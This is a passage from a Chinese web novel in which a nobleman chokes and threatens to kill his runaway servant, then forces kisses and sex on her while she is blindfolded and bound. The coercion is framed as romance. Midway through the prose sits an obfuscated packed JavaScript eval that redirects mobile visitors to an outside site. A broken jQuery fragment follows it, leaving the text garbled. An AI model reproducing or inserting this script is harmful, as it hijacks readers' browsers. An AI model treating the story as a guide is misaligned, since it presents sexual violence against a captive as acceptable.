好久没出来,柳薇对人对景,熟悉又疏离。
东良看穿她的拘谨,温和一笑:“国公爷叫姑娘过去,是给姑娘弥补的机会。姑娘抓住这个机会,讨国公爷的欢心,便既往不咎,自由了。”
萧绝心硬手狠,柳薇难以全心全意信任他,心里琢磨,这回他又准备给她什么难堪。
瞧她怏怏不乐,分明是想得缥缈了。东良便站住不前,看着她,认真道:“我知道姑娘紧张,担心国公爷火气又上来,姑娘可能会言不由衷。但,面对国公爷,这并不是个明智的举动。姑娘如果想自在,最好的办法,就是心口如一。”
东良指点得一清二楚,待会不论她心境如何,是自怨自艾,还是怨天尤人,均忌讳遮掩粉饰,她要表现出绝对的真诚和服从。柳薇了然,不敢再自作聪明,连连点头。
后续无话。
抵达书房外,东良让开路,比手势示意柳薇独自进去。于是,柳薇堪堪挤进虚掩着的门里,抬眼飞快偷窥一眼前方,但见萧绝临窗笔直就座,面色如常冷淡。
这究竟是生气了没有呢?
他没发话允她近前,柳薇轻易不敢动弹,垂头耸肩,远远地待着。
“过来。”
柳薇遵命,往前凑了几步,离他身前的书案依然有段距离。
萧绝眯一眯眼睛,问:“既那么惜命,为何要跑啊?”
柳薇当即下跪,摇两下头。
萧绝徐徐道:“不敢再跑了?”
柳薇心下迟疑一刹那,终究昧着良心将摇头改为猛点头。
固然东良忠告她对上萧绝要做到无条件坦诚,可就事论事,她仍念念不忘逃跑这码事,除非她实在活腻了,不然万万得烂在肚子里。
萧绝极浅地笑了下:“我怎知,你所言虚实?”
低垂的眼睛里,浮现迷茫。别提她现在出不了声,纵然是康健之时,她的辩解,在萧绝面前亦是苍白无力的。
这时,萧绝抓了纸笔,掷下来,说:“你不是会写字么?如何分说,写下来。”
他的纸笔,均是上用的,名贵。柳薇小心翼翼捧在手心,却看笔尖无墨,不由得僵了。
“没有墨,便自己过来蘸了。”萧绝叩击桌面,“如此简单之事,还得我教你?”
其实,柳薇脑子空洞洞的,全然不知如何措辞,可遭不住萧绝的威压,勉强起来,蹒跚靠近。
砚台处于书案的右上方,柳薇捉着笔杆,慢吞吞伸过去。毛尖与墨水咫尺之距时,一个大手直逼手腕,旋即腕间一沉。
柳薇受惊,手上一抖,狼毫笔飞了出去。
“胆小如鼠,偏偏满口谎言。”萧绝道,“你是怎么做到的?”
囚困之间,柳薇纹丝不动,只听他又说:“在我这,是缺你少你了,你跑?”
不缺不少,甚至锦衣玉食,但朝不保夕啊……柳薇在心里回应,外面仍然呆若木鸡。
“嘴巴不顶用了,眼睛也不顶用了么?”平直的声线贯入耳内,“把头抬起来。”
柳薇无能为力,随声扬首。怯懦的眼里,填入一副沉静如水的容颜。
他问:“什么时候开始的?”
柳薇面露纠结,明显没听明白。
忽然,腕骨吃力,整个人朝前栽去,匍匐在一片胸膛上。松香弥漫,环绕周身,清冽醒目。
……他之前惯用檀香熏衣,何时换成了松香?
不过,相较于清润的檀香,清冷的松香的确更衬他不近人情的气质。
遐想之际,下颌骤然发热——萧绝挑高了她的下巴,彼此四目相对。
萧绝道:“从什么时候筹划逃跑的?”
柳薇恍然大悟,嘴唇翕动,尽显窘迫。
萧绝挑眉道:“再敢胡编乱造,杀了你。”
柳薇脸色煞白,眼光不禁飘向失手扔开的毛笔。
萧绝了然,又从笔山上抽了支笔,丢给她,放开圈住她胳膊的手,指尖点点桌面:“就在这写。”
柳薇唯唯诺诺,向后略撤一撤,在桌角,铺平纸张,提笔染墨,哆哆嗦嗦运笔,在纸上留下歪七扭八的一段痕迹:母亲不好过,奴婢一直寝食难安……生养之恩大过天,奴婢必须多多攒钱,救母亲出来,报答母亲。
萧绝展眼看过,冷笑道:“一直?你好大的胆子。”
柳薇急急摇头,又写:奴婢知错,再也不敢了!从今往后,奴婢一定全心全力为自己犯下的过错赎罪,死心塌地报答您的不杀之恩……
“死心塌地”四字,拓在纸面,笔迹格外深。萧绝多看了两眼,转而盯上写字的人——瘦了,白了,水汪汪的。
逆来顺受的皮囊下,包藏着背信弃义的心思,偏他疏忽大意,从未察觉。
对面的注视,在堪堪冷却。柳薇毛骨悚然,不由自主退后,而萧绝先发制人,掀脚绊她跪倒,又擒住她的脖子,强迫她仰望他:“跑什么?你就是这样死心塌地报答恩人的?”
他扼制着她,断她的去路,和那个杀气腾腾的夜,如出一辙。
柳薇开口,无声控诉:您说过要饶奴婢一命的……
萧绝道:“不错。”
柳薇:那您又掐奴婢……
萧绝道:“你若安分,我自然不会如此。”
柳薇:奴婢当您要杀奴婢……奴婢不想死……
萧绝啧了一声,有烦躁之色:“认清楚你的身份,你没有与我讨价还价的资格。”
他心烦意燥,不觉加大了手劲儿,勒得柳薇呼吸困难,半闭着眼举起双手攀他的胳膊。
此举,萧绝视为抵触,深为不悦,拖她到眼前:“怎么,不服气?”
柳薇抓紧他的小臂,能感触到它的遒劲有力,以及蓄势待发——他又起了杀意了。
她才十七岁,远远没活够。
她想长命百岁。
柳薇咬牙,扒着他的手臂,撕扯拉拽。强大的求生意志的作用下,干涸的咽喉中,迸出一句:“不行……”
“不行?”萧绝闻之,眼里明明暗暗,最后竟是勾唇一笑,“看来你还是没摆清楚自己的位置。你是我的奴,从头到脚都属于我,我对你做什么,都是天经地义的。”
他的话,模模糊糊入了耳。柳薇不断摇头,抵死挣扎:“不……不……”
生命来之不易,弥足珍贵,凭什么要被别人夺了去?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215738|196032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不甘心!
柳薇费力睁眼,试图呼救,猛不防地,前面有什么东西压了下来,封住了口。
视野内,漆黑无光。奇妙的是,嘴唇上软软的、温温的,乃至尝到一丝茶香。
柳薇推测自己是濒死之际,出现了幻觉,不然同样是窒息,为何上次是肝肠寸断的疼痛,这次毫无痛感也就罢了,居然又香又软?
这时,后颈一重一热,带动身体,往前闪出去;随即左耳畔响起一个低沉的人声:“蠢物,张嘴。”
是萧绝在说话?!
又幻视又幻听……她是死了吗?
“……柳薇,”左耳边,声息持续,“耳朵没聋的话,张嘴。”
这声音指名道姓,柳薇一激灵,严实关闭的牙关,随之开启。
湿润、黏腻,汇聚成一股洪流,冲击着唇齿,跌宕沉浮。
唇齿交锋,另有一只手探到了肋下,将柳薇托起来,倒向一具结实宽阔的身体。
“叮——”手背发凉,好像是撞到了一个硬物。柳薇本能地去探寻摸索,当真摸着了。捏在掌心,凹凸不平,应该是刻着字,像是一块玉佩。
唇舌之争戛然而止,眼前渐渐明亮,渐渐开阔,渐渐显现出一张脸:长眉凤眼,眼中朦胧,似有一层雾;挺鼻薄唇,唇上水光潋滟。
……所以,刚刚,萧绝是在亲她吗?
于她惊骇的眼色下,萧绝道:“看够了没?”
柳薇思绪凌乱,傻傻地点头。
萧绝垂眸示意:“那就松手。”
柳薇跟着低头,却见彼此的衣摆交缠不清,而自己的膝盖正在他略微岔开的□□……最可怕的是,自己的手挡在他的腰前,揪着一块乳白玉佩,此物象征着他尊崇无双的地位,见它如见他。
柳薇仓惶拿开手,欲退避三舍,磕头认错,不料后腰箍着萧绝的胳膊,他稍稍用力,搂她回来。
萧绝按住她的脊背,直按她败倒在他胸前。
“再躲闪,打断你的腿。”——这是他再度衔住她嘴唇之前,所说的。
吻,如春日繁花,热烈绽放。
月色清澈,勾勒出彼此交叠的身影,亲密无间。
一记长吻作罢,柳薇已然晕头转向,萧绝却说:“想要息事宁人,便看你如何表现了。”
之后,那方堆放着奏折与圣贤书的书案,成了萧绝宰割柳薇的场地。
不像是柳薇讨好表现,反而像是萧绝在施罚,柳薇在受罚。
几经风雨,柳薇一败涂地,泪如雨下。
那双泪眼,极致脆弱,萧绝一看便扫兴,干脆效仿上次,解下自己厚重的腰带,缠住她的眼。
目不能视,柳薇惶恐不安,忍不住挥手找寻支撑。可在萧绝看来,这女人乱碰乱摸,实在不安生,于是拿她破碎的衣带,凑合缚住她的双手,举过她头顶,说:“可以哭,可以喊,不准乱动。听见了?”
柳薇哽咽答应:“只要您……不杀……奴婢,奴婢做什么……都行……”
萧绝不留情面地嘲笑:“真是个没出息的东西。”
……
这个月圆之夜,注定轰轰烈烈。